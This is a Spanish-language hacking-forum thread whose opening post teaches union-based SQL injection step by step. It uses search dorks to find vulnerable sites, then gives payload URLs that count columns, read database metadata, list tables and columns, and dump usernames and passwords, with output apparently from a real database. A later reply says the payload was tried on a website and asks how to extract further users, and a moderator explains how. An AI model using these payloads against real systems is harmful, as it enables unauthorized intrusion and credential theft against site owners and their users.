elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Union Based Sql Injection
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Union Based Sql Injection  (Leído 5,492 veces)
Stuxnet

Desconectado Desconectado

Mensajes: 29



Ver Perfil WWW
Union Based Sql Injection
« en: 16 Junio 2014, 20:48 pm »


0x1: Concepto:

Una Inyección SQL es una vulnerabilidad centrada en consultas hacia la base de datos, suele suceder cuando se inyecta una variable de consultas desde una identidad hacia la base de datos y asi obtener directamente información del usuario administrador, todas las tablas y columnas de la web.

El operador UNION se utiliza en las inyecciones SQL para unirse a una consulta, deliberadamente forjada por el consultor, a la consulta original. El resultado de la consulta realizada se unirá al resultado de la consulta original, permitiendo que el consultor obtener los valores de los campos de otras tablas.

0x2: Encontrar una página web vulnerable:

Para encontrar nuestra página vulnerable utilizaremos algunos dorks.

Código:
news.php?ID=
product.php?ID=
content.php?ID=
index.php?ID=

Para saber si nuestra página es vulnerable agregamos ' ) \ " al final.

Código:
http://www.ejemplo.com/news.php?id=44'


Como podemos observar es vulnerable.

0x3: Encontrar el número de columnas

Para encontrar el número de columnas utilizaremos la cláusula ORDER BY.

Código:
http://www.ejemplo.com/news.php?id=44 ORDER BY 1-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 2-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 3-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 4-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 5-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 6-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 7-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 8-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 9-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 10-- [  Error ]

Como podemos observar al hacer la consulta ORDER BY 10 muestra el siguiente error:


Esto quiere decir que la columna 10 no existe, solo existen 9.

0x4: Encontrar la columna vulnerable

Ahora debemos ejecutar la instrucción UNION SELECT

Código:
http://www.ejemplo.com/news.php?id=44 UNION SELECT 1,2,3,4,5,6,7,8,9--


Como podemos ver 4 y 5 son las columnas vulnerables...

0x5: Recopilación de Información: Nombre de la base de datos, Usuario actual, Versión SQL.

Reemplazamos el número 5 por: concat(database(),0x3a,user(),0x3a,version())

Código:
http://www.ejemplo.com/news.php?id=44 UNION SELECT 1,2,3,4,concat(database(),0x3a,user(),0x3a,version()),6,7,8,9--


Database Name : cecit_db_camara
Current User  : cecit_camara@localhost
SQL Version   : 5.5.32

0x6: Encontrar el nombre de las Tablas:

Para encontrar los nombres de tablas, usaremos la siguiente la sintaxis:

Código:
http://www.ejemplo.com/news.php?id=44 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9 FROM information_schema.tables WHERE table_schema=database()--


0x7: Encontrar el nombre de las columnas en el nombre de las tablas:

Para encontrar los nombres de columnas, usaremos la siguiente la sintaxis:

Código:
http://www.ejemplo.com/news.php?id=44 UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9 FROM information_schema.columns WHERE table_name = 0x7574696c69736174657572

Nota: para extraer esta información deben cifrar el nombre de la tabla en hexadecimal anteponiendo 0x, Para esto estoy utilizando la tabla utilisateur quedando 7574696c69736174657572.

0x8: Extraer Username y Passwords:

Para extraer Username y Passwords, usaremos la siguiente la sintaxis:

Código:
http://www.ejemplo.com/news.php?id=44 UNION SELECT 1,2,3,group_concat(login,0x3a,password),5,6,7,8,9 FROM utilisateur--+

« Última modificación: 17 Junio 2014, 03:50 am por Stuxnet » En línea

el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 21.586


La libertad no se suplica, se conquista


Ver Perfil WWW
Re: Union Based Sql Injection
« Respuesta #1 en: 19 Junio 2014, 18:42 pm »

Muy Relacionado:

Tutorial - Manual SQLmap: ataques SQLi - Inyección SQL
http://blog.elhacker.net/2014/06/sqlmap-automatizando-ataques-sqli-injection.html

En línea

Stuxnet

Desconectado Desconectado

Mensajes: 29



Ver Perfil WWW
Re: Union Based Sql Injection
« Respuesta #2 en: 20 Junio 2014, 02:55 am »

La unica diferencia que una lo haces de forma manual y la otra con la ayuda de una tool
En línea

Camarografo77

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Re: Union Based Sql Injection
« Respuesta #3 en: 21 Junio 2014, 23:29 pm »

Muy Relacionado (y más completo):

http://foro.elhacker.net/nivel_web/gran_tutorial_sobre_inyecciones_sql_en_mysql-t247535.0.html
En línea

jeanbkn

Desconectado Desconectado

Mensajes: 17


Ver Perfil
Re: Union Based Sql Injection
« Respuesta #4 en: 7 Febrero 2015, 18:10 pm »

Hola, sé que este tema ya es algo viejo y que probablemente me manden a leer el tutorial, pero me asalta una duda en el último paso que dijiste
Citar
0x8: Extraer Username y Passwords:

Para extraer Username y Passwords, usaremos la siguiente la sintaxis: ttp://www.ejemplo.com/news.php?id=44 UNION SELECT 1,2,3,group_concat(login,0x3a,password),5,6,7,8,9 FROM utilisateur--+

Lo he intentando con una web, sin embargo me sale sólo la primera fila, o el primer usuario con su respectivo mail... , esto significa que sólo hay un usuario? , o cómo podría sacar el segundo usuario y el tercer usuario? saludos :D
En línea

Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
Re: Union Based Sql Injection
« Respuesta #5 en: 9 Febrero 2015, 13:08 pm »

Es un tema viejo, deberías de abrir un tema nuevo. Pero con respecto a tu duda, sale el primero registros pero puedes iterar con los demas al usar el LIMIT.
En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema con UNION SELECT en SQL Injection
Nivel Web
Mie2 4 5,427 Último mensaje 29 Octubre 2008, 02:02 am
por 1nc0d3
Optimización de SQL Union Injection en MYSQL
Nivel Web
OzX 6 5,424 Último mensaje 16 Septiembre 2009, 01:16 am
por OzX
UNION en BLIND SQL Injection
Nivel Web
macanito 2 3,509 Último mensaje 3 Agosto 2009, 19:45 pm
por macanito
SQL Injection UNION SELECT « 1 2 »
Nivel Web
noukeys 12 17,025 Último mensaje 2 Septiembre 2009, 22:55 pm
por fede_cp
Ayuda con una union (sql injection)
Nivel Web
4rkn63l 0 3,098 Último mensaje 12 Febrero 2011, 02:21 am
por 4rkn63l
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines